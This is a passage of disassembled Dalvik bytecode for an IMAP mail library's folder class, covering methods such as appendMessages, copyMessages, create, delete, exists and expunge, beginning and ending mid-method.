00000004 invoke-static System->currentTimeMillis()J
0000000A move-result-wide v0
0000000C iget-object v2, p0, IMAPFolder->protocol:IMAPProtocol
00000010 invoke-virtual IMAPProtocol->getTimestamp()J, v2
00000016 move-result-wide v2
00000018 sub-long/2addr v0, v2
0000001A cmp-long v0, v0, v6
0000001E if-lez v0, :32
:22
00000022 invoke-virtual IMAPFolder->waitIfIdle()V, p0
00000028 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002C invoke-virtual IMAPProtocol->noop()V, v0
:32
00000032 if-eqz p1, :8A
:36
00000036 iget-object v0, p0, IMAPFolder->store:Store
0000003A check-cast v0, IMAPStore
0000003E invoke-virtual IMAPStore->hasSeparateStoreConnection()Z, v0
00000044 move-result v0
00000046 if-eqz v0, :8A
:4A
0000004A const/4 v1, 0x0
:4C
0000004C iget-object v0, p0, IMAPFolder->store:Store
00000050 check-cast v0, IMAPStore
00000054 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, v0
:5A
0000005A move-result-object v1
:5C
0000005C invoke-static System->currentTimeMillis()J
00000062 move-result-wide v2
00000064 invoke-virtual IMAPProtocol->getTimestamp()J, v1
0000006A move-result-wide v4
0000006C sub-long/2addr v2, v4
0000006E cmp-long v0, v2, v6
00000072 if-lez v0, :7C
:76
00000076 invoke-virtual IMAPProtocol->noop()V, v1
:7C
0000007C iget-object v0, p0, IMAPFolder->store:Store
00000080 check-cast v0, IMAPStore
00000084 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, v1
:8A
0000008A return-void
:8C
0000008C move-exception v0
0000008E move-object v2, v1
00000090 move-object v1, v0
:92
00000092 iget-object v0, p0, IMAPFolder->store:Store
00000096 check-cast v0, IMAPStore
0000009A invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, v2
000000A0 throw v1
:A2
000000A2 move-exception v0
000000A4 move-object v2, v1
000000A6 move-object v1, v0
000000A8 goto :92
.catchall {:4C .. :5A} :8C
.catchall {:5C .. :7C} :A2
.end method
.method private releaseProtocol(Z)V
.registers 4
00000000 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000004 if-eqz v0, :28
:8
00000008 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000000C invoke-virtual IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000012 if-eqz p1, :2A
:16
00000016 iget-object v0, p0, IMAPFolder->store:Store
0000001A check-cast v0, IMAPStore
0000001E iget-object v1, p0, IMAPFolder->protocol:IMAPProtocol
00000022 invoke-virtual IMAPStore->releaseProtocol(IMAPFolder, IMAPProtocol)V, v0, p0, v1
:28
00000028 return-void
:2A
0000002A iget-object v0, p0, IMAPFolder->store:Store
0000002E check-cast v0, IMAPStore
00000032 const/4 v1, 0x0
00000034 invoke-virtual IMAPStore->releaseProtocol(IMAPFolder, IMAPProtocol)V, v0, p0, v1
0000003A goto :28
.end method
.method private setACL(ACL, C)V
.registers 5
00000000 const-string v0, "ACL not supported"
00000004 new-instance v1, IMAPFolder$18
00000008 invoke-direct IMAPFolder$18-><init>(IMAPFolder, C, ACL)V, v1, p0, p2, p1
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 return-void
.end method
.method private declared-synchronized throwClosedException(ConnectionException)V
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000006 if-eqz v0, :1A
:A
0000000A invoke-virtual ConnectionException->getProtocol()Protocol, p1
00000010 move-result-object v0
00000012 iget-object v1, p0, IMAPFolder->protocol:IMAPProtocol
00000016 if-eq v0, v1, :2A
:1A
0000001A iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000001E if-nez v0, :44
:22
00000022 iget-boolean v0, p0, IMAPFolder->reallyClosed:Z
00000026 if-nez v0, :44
:2A
0000002A new-instance v0, FolderClosedException
0000002E invoke-virtual ConnectionException->getMessage()String, p1
00000034 move-result-object v1
00000036 invoke-direct FolderClosedException-><init>(Folder, String)V, v0, p0, v1
0000003C throw v0
:3E
0000003E move-exception v0
00000040 monitor-exit p0
00000042 throw v0
:44
00000044 new-instance v0, StoreClosedException
00000048 iget-object v1, p0, IMAPFolder->store:Store
0000004C invoke-virtual ConnectionException->getMessage()String, p1
00000052 move-result-object v2
00000054 invoke-direct StoreClosedException-><init>(Store, String)V, v0, v1, v2
0000005A throw v0
.catchall {:2 .. :3E} :3E
.catchall {:44 .. :5C} :3E
.end method
.method public addACL(ACL)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct IMAPFolder->setACL(ACL, C)V, p0, p1, v0
00000008 return-void
.end method
.method public declared-synchronized addMessages([Message)[Message
.registers 10
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 array-length v0, p1
0000000A new-array v1, v0, [MimeMessage
0000000E invoke-virtual IMAPFolder->appendUIDMessages([Message)[AppendUID, p0, p1
00000014 move-result-object v2
00000016 const/4 v0, 0x0
:18
00000018 array-length v3, v2
:1A
0000001A if-lt v0, v3, :22
:1E
0000001E monitor-exit p0
00000020 return-object v1
:22
00000022 aget-object v3, v2, v0
00000026 if-eqz v3, :4A
:2A
0000002A iget-wide v4, v3, AppendUID->uidvalidity:J
0000002E iget-wide v6, p0, IMAPFolder->uidvalidity:J
:32
00000032 cmp-long v4, v4, v6
00000036 if-nez v4, :4A
:3A
0000003A iget-wide v3, v3, AppendUID->uid:J
0000003E invoke-virtual IMAPFolder->getMessageByUID(J)Message, p0, v3, v4
00000044 move-result-object v3
00000046 aput-object v3, v1, v0
:4A
0000004A add-int/lit8 v0, v0, 0x1
0000004E goto :18
:50
00000050 move-exception v0
00000052 monitor-exit p0
00000054 throw v0
:56
00000056 move-exception v3
00000058 goto :4A
.catchall {:2 .. :1A} :50
.catchall {:22 .. :32} :50
.catch MessagingException {:3A .. :4A} :56
.catchall {:3A .. :4A} :50
.end method
.method public addRights(ACL)V
.registers 3
00000000 const/16 v0, 0x2B
00000004 invoke-direct IMAPFolder->setACL(ACL, C)V, p0, p1, v0
0000000A return-void
.end method
.method public declared-synchronized appendMessages([Message)V
.registers 9
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkExists()V, p0
0000000A iget-object v0, p0, IMAPFolder->store:Store
0000000E check-cast v0, IMAPStore
00000012 invoke-virtual IMAPStore->getAppendBufferSize()I, v0
00000018 move-result v2
0000001A move v3, v1
:1C
0000001C array-length v0, p1
:1E
0000001E if-lt v3, v0, :26
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 aget-object v4, p1, v3
:2A
0000002A new-instance v5, MessageLiteral
0000002E invoke-virtual Message->getSize()I, v4
00000034 move-result v0
00000036 if-le v0, v2, :76
:3A
0000003A move v0, v1
:3C
0000003C invoke-direct MessageLiteral-><init>(Message, I)V, v5, v4, v0
:42
00000042 invoke-virtual Message->getReceivedDate()Date, v4
00000048 move-result-object v0
0000004A if-nez v0, :56
:4E
0000004E invoke-virtual Message->getSentDate()Date, v4
00000054 move-result-object v0
:56
00000056 invoke-virtual Message->getFlags()Flags, v4
0000005C move-result-object v4
0000005E new-instance v6, IMAPFolder$10
00000062 invoke-direct IMAPFolder$10-><init>(IMAPFolder, Flags, Date, MessageLiteral)V, v6, p0, v4, v0, v5
00000068 invoke-virtual IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v6
:6E
0000006E add-int/lit8 v0, v3, 0x1
00000072 move v3, v0
00000074 goto :1C
:76
00000076 move v0, v2
00000078 goto :3C
:7A
0000007A move-exception v0
0000007C new-instance v1, MessagingException
00000080 const-string v2, "IOException while appending messages"
00000084 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000008A throw v1
:8C
0000008C move-exception v0
0000008E monitor-exit p0
00000090 throw v0
:92
00000092 move-exception v0
00000094 goto :6E
.catchall {:4 .. :1E} :8C
.catchall {:26 .. :2A} :8C
.catch IOException {:2A .. :42} :7A
.catch MessageRemovedException {:2A .. :42} :92
.catchall {:2A .. :42} :8C
.catchall {:42 .. :8C} :8C
.end method
.method public declared-synchronized appendUIDMessages([Message)[AppendUID
.registers 10
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkExists()V, p0
0000000A iget-object v0, p0, IMAPFolder->store:Store
0000000E check-cast v0, IMAPStore
00000012 invoke-virtual IMAPStore->getAppendBufferSize()I, v0
00000018 move-result v2
0000001A array-length v0, p1
0000001C new-array v4, v0, [AppendUID
00000020 move v3, v1
:22
00000022 array-length v0, p1
:24
00000024 if-lt v3, v0, :2C
:28
00000028 monitor-exit p0
0000002A return-object v4
:2C
0000002C aget-object v5, p1, v3
:30
00000030 new-instance v6, MessageLiteral
00000034 invoke-virtual Message->getSize()I, v5
0000003A move-result v0
0000003C if-le v0, v2, :86
:40
00000040 move v0, v1
:42
00000042 invoke-direct MessageLiteral-><init>(Message, I)V, v6, v5, v0
:48
00000048 invoke-virtual Message->getReceivedDate()Date, v5
0000004E move-result-object v0
00000050 if-nez v0, :5C
:54
00000054 invoke-virtual Message->getSentDate()Date, v5
0000005A move-result-object v0
:5C
0000005C invoke-virtual Message->getFlags()Flags, v5
00000062 move-result-object v5
00000064 new-instance v7, IMAPFolder$11
00000068 invoke-direct IMAPFolder$11-><init>(IMAPFolder, Flags, Date, MessageLiteral)V, v7, p0, v5, v0, v6
0000006E invoke-virtual IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v7
00000074 move-result-object v0
00000076 check-cast v0, AppendUID
0000007A aput-object v0, v4, v3
:7E
0000007E add-int/lit8 v0, v3, 0x1
00000082 move v3, v0
00000084 goto :22
:86
00000086 move v0, v2
00000088 goto :42
:8A
0000008A move-exception v0
0000008C new-instance v1, MessagingException
00000090 const-string v2, "IOException while appending messages"
00000094 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009A throw v1
:9C
0000009C move-exception v0
0000009E monitor-exit p0
000000A0 throw v0
:A2
000000A2 move-exception v0
000000A4 goto :7E
.catchall {:4 .. :24} :9C
.catchall {:2C .. :30} :9C
.catch IOException {:30 .. :48} :8A
.catch MessageRemovedException {:30 .. :48} :A2
.catchall {:30 .. :48} :9C
.catchall {:48 .. :9C} :9C
.end method
.method public declared-synchronized close(Z)V
.registers 3
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-direct IMAPFolder->close(Z, Z)V, p0, p1, v0
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E move-exception v0
00000010 monitor-exit p0
00000012 throw v0
.catchall {:4 .. :A} :E
.end method
.method public declared-synchronized copyMessages([Message, Folder)V
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 array-length v0, p1
:A
0000000A if-nez v0, :12
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 invoke-virtual Folder->getStore()Store, p2
00000018 move-result-object v0
0000001A iget-object v1, p0, IMAPFolder->store:Store
0000001E if-ne v0, v1, :102
:22
00000022 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000026 monitor-enter v1
:28
00000028 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000002E move-result-object v0
00000030 const/4 v2, 0x0
00000032 invoke-static Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p1, v2
00000038 move-result-object v2
0000003A if-nez v2, :B0
:3E
0000003E new-instance v0, MessageRemovedException
00000042 const-string v2, "Messages have been removed"
00000046 invoke-direct MessageRemovedException-><init>(String)V, v0, v2
0000004C throw v0
:4E
0000004E move-exception v0
:50
00000050 invoke-virtual CommandFailedException->getMessage()String, v0
00000056 move-result-object v2
00000058 const-string v3, "TRYCREATE"
0000005C invoke-virtual String->indexOf(String)I, v2, v3
00000062 move-result v2
00000064 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000066 if-eq v2, v3, :C2
:6A
0000006A new-instance v0, FolderNotFoundException
0000006E new-instance v2, StringBuilder
00000072 invoke-virtual Folder->getFullName()String, p2
00000078 move-result-object v3
0000007A invoke-static String->valueOf(Object)String, v3
00000080 move-result-object v3
00000082 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000088 const-string v3, " does not exist"
0000008C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000092 move-result-object v2
00000094 invoke-virtual StringBuilder->toString()String, v2
0000009A move-result-object v2
0000009C invoke-direct FolderNotFoundException-><init>(Folder, String)V, v0, p2, v2
000000A2 throw v0
:A4
000000A4 move-exception v0
000000A6 monitor-exit v1
:A8
000000A8 throw v0
:AA
000000AA move-exception v0
000000AC monitor-exit p0
000000AE throw v0
:B0
000000B0 invoke-virtual Folder->getFullName()String, p2
000000B6 move-result-object v3
000000B8 invoke-virtual IMAPProtocol->copy([MessageSet, String)V, v0, v2, v3
:BE
000000BE monitor-exit v1
000000C0 goto :E
:C2
000000C2 new-instance v2, MessagingException
000000C6 invoke-virtual CommandFailedException->getMessage()String, v0
000000CC move-result-object v3
000000CE invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000000D4 throw v2
:D6
000000D6 move-exception v0
000000D8 new-instance v2, FolderClosedException
000000DC invoke-virtual ConnectionException->getMessage()String, v0
000000E2 move-result-object v0
000000E4 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000EA throw v2
:EC
000000EC move-exception v0
000000EE new-instance v2, MessagingException
000000F2 invoke-virtual ProtocolException->getMessage()String, v0
000000F8 move-result-object v3
000000FA invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000100 throw v2
:102
00000102 invoke-super Folder->copyMessages([Message, Folder)V, p0, p1, p2
:108
00000108 goto :E
.catchall {:2 .. :A} :AA
.catchall {:12 .. :28} :AA
.catch CommandFailedException {:28 .. :4E} :4E
.catch ConnectionException {:28 .. :4E} :D6
.catch ProtocolException {:28 .. :4E} :EC
.catchall {:28 .. :4E} :A4
.catchall {:50 .. :A8} :A4
.catchall {:A8 .. :AA} :AA
.catch CommandFailedException {:B0 .. :BE} :4E
.catch ConnectionException {:B0 .. :BE} :D6
.catch ProtocolException {:B0 .. :BE} :EC
.catchall {:B0 .. :BE} :A4
.catchall {:BE .. :102} :A4
.catchall {:102 .. :108} :AA
.end method
.method public declared-synchronized create(I)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
00000004 and-int/lit8 v1, p1, 0x1
00000008 if-nez v1, :4A
:C
0000000C invoke-virtual IMAPFolder->getSeparator()C, p0
00000012 move-result v1
:14
00000014 new-instance v2, IMAPFolder$6
00000018 invoke-direct IMAPFolder$6-><init>(IMAPFolder, I, C)V, v2, p0, p1, v1
0000001E invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v2
:24
00000024 move-result-object v1
00000026 if-nez v1, :2E
:2A
0000002A monitor-exit p0
0000002C return v0
:2E
0000002E invoke-virtual IMAPFolder->exists()Z, p0
00000034 move-result v0
00000036 if-eqz v0, :2A
:3A
0000003A const/4 v1, 0x1
0000003C invoke-virtual IMAPFolder->notifyFolderListeners(I)V, p0, v1
:42
00000042 goto :2A
:44
00000044 move-exception v0
00000046 monitor-exit p0
00000048 throw v0
:4A
0000004A move v1, v0
0000004C goto :14
.catchall {:C .. :24} :44
.catchall {:2E .. :42} :44
.end method
.method public declared-synchronized delete(Z)Z
.registers 6
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkClosed()V, p0
0000000A if-eqz p1, :1E
:E
0000000E invoke-virtual IMAPFolder->list()[Folder, p0
00000014 move-result-object v2
00000016 move v1, v0
:18
00000018 array-length v3, v2
0000001A if-lt v1, v3, :38
:1E
0000001E new-instance v1, IMAPFolder$8
00000022 invoke-direct IMAPFolder$8-><init>(IMAPFolder)V, v1, p0
00000028 invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v1
:2E
0000002E move-result-object v1
00000030 if-nez v1, :48
:34
00000034 monitor-exit p0
00000036 return v0
:38
00000038 aget-object v3, v2, v1
0000003C invoke-virtual Folder->delete(Z)Z, v3, p1
00000042 add-int/lit8 v1, v1, 0x1
00000046 goto :18
:48
00000048 const/4 v0, 0x0
0000004A iput-boolean v0, p0, IMAPFolder->exists:Z
0000004E const/4 v0, 0x0
00000050 iput-object v0, p0, IMAPFolder->attributes:[String
00000054 const/4 v0, 0x2
00000056 invoke-virtual IMAPFolder->notifyFolderListeners(I)V, p0, v0
:5C
0000005C const/4 v0, 0x1
0000005E goto :34
:60
00000060 move-exception v0
00000062 monitor-exit p0
00000064 throw v0
.catchall {:4 .. :2E} :60
.catchall {:38 .. :5C} :60
.end method
.method public doCommand(IMAPFolder$ProtocolCommand)Object
.registers 5
00000000 invoke-virtual IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p1
00000006 move-result-object v0
:8
00000008 return-object v0
:A
0000000A move-exception v0
0000000C invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
00000012 const/4 v0, 0x0
00000014 goto :8
:16
00000016 move-exception v0
00000018 new-instance v1, MessagingException
0000001C invoke-virtual ProtocolException->getMessage()String, v0
00000022 move-result-object v2
00000024 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000002A throw v1
.catch ConnectionException {:0 .. :6} :A
.catch ProtocolException {:0 .. :6} :16
.end method
.method public doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object
.registers 5
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p1
:8
00000008 move-result-object v0
:A
0000000A return-object v0
:C
0000000C move-exception v1
0000000E invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v1
00000014 goto :A
:16
00000016 move-exception v0
00000018 new-instance v1, MessagingException
0000001C invoke-virtual ProtocolException->getMessage()String, v0
00000022 move-result-object v2
00000024 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000002A throw v1
:2C
0000002C move-exception v1
0000002E goto :A
.catch CommandFailedException {:2 .. :8} :2C
.catch ConnectionException {:2 .. :8} :C
.catch ProtocolException {:2 .. :8} :16
.end method
.method public doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object
.registers 6
00000000 invoke-virtual IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, p2
00000006 move-result-object v0
:8
00000008 return-object v0
:A
0000000A move-exception v0
0000000C new-instance v1, MessagingException
00000010 invoke-direct MessagingException-><init>(String, Exception)V, v1, p1, v0
00000016 throw v1
:18
00000018 move-exception v0
0000001A invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
00000020 const/4 v0, 0x0
00000022 goto :8
:24
00000024 move-exception v0
00000026 new-instance v1, MessagingException
0000002A invoke-virtual ProtocolException->getMessage()String, v0
00000030 move-result-object v2
00000032 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000038 throw v1
.catch BadCommandException {:0 .. :6} :A
.catch ConnectionException {:0 .. :6} :18
.catch ProtocolException {:0 .. :6} :24
.end method
.method protected doProtocolCommand(IMAPFolder$ProtocolCommand)Object
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-eqz v0, :46
:A
0000000A iget-object v0, p0, IMAPFolder->store:Store
0000000E check-cast v0, IMAPStore
00000012 invoke-virtual IMAPStore->hasSeparateStoreConnection()Z, v0
00000018 move-result v0
0000001A if-nez v0, :46
:1E
0000001E iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000022 monitor-enter v1
:24
00000024 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000002A move-result-object v0
0000002C invoke-interface IMAPFolder$ProtocolCommand->doCommand(IMAPProtocol)Object, p1, v0
00000032 move-result-object v0
00000034 monitor-exit v1
:36
00000036 monitor-exit p0
:38
00000038 return-object v0
:3A
0000003A move-exception v0
:3C
0000003C monitor-exit v1
:3E
0000003E throw v0
:40
00000040 move-exception v0
00000042 monitor-exit p0
:44
00000044 throw v0
:46
00000046 monitor-exit p0
:48
00000048 const/4 v1, 0x0
:4A
0000004A invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
00000050 move-result-object v1
00000052 invoke-interface IMAPFolder$ProtocolCommand->doCommand(IMAPProtocol)Object, p1, v1
:58
00000058 move-result-object v0
0000005A invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060 goto :38
:62
00000062 move-exception v0
00000064 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006A throw v0
.catchall {:2 .. :24} :40
.catchall {:24 .. :36} :3A
.catchall {:36 .. :38} :40
.catchall {:3C .. :3E} :3A
.catchall {:3E .. :44} :40
.catchall {:46 .. :48} :40
.catchall {:4A .. :58} :62
.end method
.method public declared-synchronized exists()Z
.registers 6
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 check-cast v0, [ListInfo
00000008 iget-boolean v0, p0, IMAPFolder->isNamespace:Z
0000000C if-eqz v0, :114
:10
00000010 iget-char v0, p0, IMAPFolder->separator:C
00000014 if-eqz v0, :114
:18
00000018 new-instance v0, StringBuilder
0000001C iget-object v1, p0, IMAPFolder->fullName:String
00000020 invoke-static String->valueOf(Object)String, v1
00000026 move-result-object v1
00000028 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000002E iget-char v1, p0, IMAPFolder->separator:C
00000032 invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
00000038 move-result-object v0
0000003A invoke-virtual StringBuilder->toString()String, v0
00000040 move-result-object v0
00000042 move-object v1, v0
:44
00000044 new-instance v0, IMAPFolder$1
00000048 invoke-direct IMAPFolder$1-><init>(IMAPFolder, String)V, v0, p0, v1
0000004E invoke-virtual IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000054 move-result-object v0
00000056 check-cast v0, [ListInfo
0000005A if-eqz v0, :11C
:5E
0000005E invoke-direct IMAPFolder->findName([ListInfo, String)I, p0, v0, v1
00000064 move-result v1
00000066 aget-object v2, v0, v1
0000006A iget-object v2, v2, ListInfo->name:String
0000006E iput-object v2, p0, IMAPFolder->fullName:String
00000072 aget-object v2, v0, v1
00000076 iget-char v2, v2, ListInfo->separator:C
0000007A iput-char v2, p0, IMAPFolder->separator:C
0000007E iget-object v2, p0, IMAPFolder->fullName:String
00000082 invoke-virtual String->length()I, v2
00000088 move-result v2
0000008A iget-char v3, p0, IMAPFolder->separator:C
0000008E if-eqz v3, :C4
:92
00000092 if-lez v2, :C4
:96
00000096 iget-object v3, p0, IMAPFolder->fullName:String
0000009A add-int/lit8 v4, v2, 0xFFFFFFFFFFFFFFFF
0000009E invoke-virtual String->charAt(I)C, v3, v4
000000A4 move-result v3
000000A6 iget-char v4, p0, IMAPFolder->separator:C
000000AA if-ne v3, v4, :C4
:AE
000000AE iget-object v3, p0, IMAPFolder->fullName:String
000000B2 const/4 v4, 0x0
000000B4 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
000000B8 invoke-virtual String->substring(I, I)String, v3, v4, v2
000000BE move-result-object v2
000000C0 iput-object v2, p0, IMAPFolder->fullName:String
:C4
000000C4 const/4 v2, 0x0
000000C6 iput v2, p0, IMAPFolder->type:I
000000CA aget-object v2, v0, v1
000000CE iget-boolean v2, v2, ListInfo->hasInferiors:Z
000000D2 if-eqz v2, :E2
:D6
000000D6 iget v2, p0, IMAPFolder->type:I
000000DA or-int/lit8 v2, v2, 0x2
000000DE iput v2, p0, IMAPFolder->type:I
:E2
000000E2 aget-object v2, v0, v1
000000E6 iget-boolean v2, v2, ListInfo->canOpen:Z
000000EA if-eqz v2, :FA
:EE
000000EE iget v2, p0, IMAPFolder->type:I
000000F2 or-int/lit8 v2, v2, 0x1
000000F6 iput v2, p0, IMAPFolder->type:I
:FA
000000FA const/4 v2, 0x1
000000FC iput-boolean v2, p0, IMAPFolder->exists:Z
00000100 aget-object v0, v0, v1
00000104 iget-object v0, v0, ListInfo->attrs:[String
00000108 iput-object v0, p0, IMAPFolder->attributes:[String
:10C
0000010C iget-boolean v0, p0, IMAPFolder->exists:Z
:110
00000110 monitor-exit p0
00000112 return v0
:114
00000114 iget-object v0, p0, IMAPFolder->fullName:String
00000118 move-object v1, v0
0000011A goto :44
:11C
0000011C iget-boolean v0, p0, IMAPFolder->opened:Z
00000120 iput-boolean v0, p0, IMAPFolder->exists:Z
00000124 const/4 v0, 0x0
00000126 iput-object v0, p0, IMAPFolder->attributes:[String
:12A
0000012A goto :10C
:12C
0000012C move-exception v0
0000012E monitor-exit p0
00000130 throw v0
.catchall {:4 .. :110} :12C
.catchall {:114 .. :12A} :12C
.end method
.method public declared-synchronized expunge()[Message
.registers 2
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-virtual IMAPFolder->expunge([Message)[Message, p0, v0
:A
0000000A move-result-object v0
0000000C monitor-exit p0
0000000E return-object v0
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:4 .. :A} :10
.end method
.method public declared-synchronized expunge([Message)[Message
.registers 10
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkOpened()V, p0
0000000A new-instance v2, Vector
0000000E invoke-direct Vector-><init>()V, v2
00000014 if-eqz p1, :32
:18
00000018 new-instance v1, FetchProfile
0000001C invoke-direct FetchProfile-><init>()V, v1
00000022 sget-object v3, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000026 invoke-virtual FetchProfile->add(FetchProfile$Item)V, v1, v3
0000002C invoke-virtual IMAPFolder->fetch([Message, FetchProfile)V, p0, p1, v1
:32
00000032 iget-object v3, p0, IMAPFolder->messageCacheLock:Object
00000036 monitor-enter v3
:38
00000038 const/4 v1, 0x0
:3A
0000003A iput-boolean v1, p0, IMAPFolder->doExpungeNotification:Z
:3E
0000003E invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000044 move-result-object v1
00000046 if-eqz p1, :A6
:4A
0000004A invoke-static Utility->toUIDSet([Message)[UIDSet, p1
00000050 move-result-object v4
00000052 invoke-virtual IMAPProtocol->uidexpunge([UIDSet)V, v1, v4
:58
00000058 const/4 v1, 0x1
:5A
0000005A iput-boolean v1, p0, IMAPFolder->doExpungeNotification:Z
0000005E move v1, v0
:60
00000060 iget-object v0, p0, IMAPFolder->messageCache:Vector
00000064 invoke-virtual Vector->size()I, v0
0000006A move-result v0
0000006C if-lt v1, v0, :13E
:70
00000070 monitor-exit v3
:72
00000072 iget-object v0, p0, IMAPFolder->messageCache:Vector
00000076 invoke-virtual Vector->size()I, v0
0000007C move-result v0
0000007E iput v0, p0, IMAPFolder->total:I
00000082 invoke-virtual Vector->size()I, v2
00000088 move-result v0
0000008A new-array v0, v0, [Message
0000008E invoke-virtual Vector->copyInto([Object)V, v2, v0
00000094 array-length v1, v0
00000096 if-lez v1, :A2
:9A
0000009A const/4 v1, 0x1
0000009C invoke-virtual IMAPFolder->notifyMessageRemovedListeners(Z, [Message)V, p0, v1, v0
:A2
000000A2 monitor-exit p0
000000A4 return-object v0
:A6
000000A6 invoke-virtual IMAPProtocol->expunge()V, v1
:AC
000000AC goto :58
:AE
000000AE move-exception v0
:B0
000000B0 iget v1, p0, IMAPFolder->mode:I
000000B4 const/4 v2, 0x2
000000B6 if-eq v1, v2, :FE
:BA
000000BA new-instance v0, IllegalStateException
000000BE new-instance v1, StringBuilder
000000C2 const-string v2, "Cannot expunge READ_ONLY folder: "
000000C6 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000CC iget-object v2, p0, IMAPFolder->fullName:String
000000D0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000D6 move-result-object v1
000000D8 invoke-virtual StringBuilder->toString()String, v1
000000DE move-result-object v1
000000E0 invoke-direct IllegalStateException-><init>(String)V, v0, v1
000000E6 throw v0
:E8
000000E8 move-exception v0
000000EA const/4 v1, 0x1
:EC
000000EC iput-boolean v1, p0, IMAPFolder->doExpungeNotification:Z
000000F0 throw v0
:F2
000000F2 move-exception v0
000000F4 monitor-exit v3
:F6
000000F6 throw v0
:F8
000000F8 move-exception v0
000000FA monitor-exit p0
000000FC throw v0
:FE
000000FE new-instance v1, MessagingException
00000102 invoke-virtual CommandFailedException->getMessage()String, v0
00000108 move-result-object v2
0000010A invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000110 throw v1
:112
00000112 move-exception v0
00000114 new-instance v1, FolderClosedException
00000118 invoke-virtual ConnectionException->getMessage()String, v0
0000011E move-result-object v0
00000120 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000126 throw v1
:128
00000128 move-exception v0
0000012A new-instance v1, MessagingException
0000012E invoke-virtual ProtocolException->getMessage()String, v0
00000134 move-result-object v2
00000136 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000013C throw v1
:13E
0000013E iget-object v0, p0, IMAPFolder->messageCache:Vector
00000142 invoke-virtual Vector->elementAt(I)Object, v0, v1
00000148 move-result-object v0
0000014A check-cast v0, IMAPMessage
0000014E invoke-virtual IMAPMessage->isExpunged()Z, v0
00000154 move-result v4
00000156 if-eqz v4, :19E
:15A
0000015A invoke-virtual Vector->addElement(Object)V, v2, v0
00000160 iget-object v4, p0, IMAPFolder->messageCache:Vector
00000164 invoke-virtual Vector->removeElementAt(I)V, v4, v1
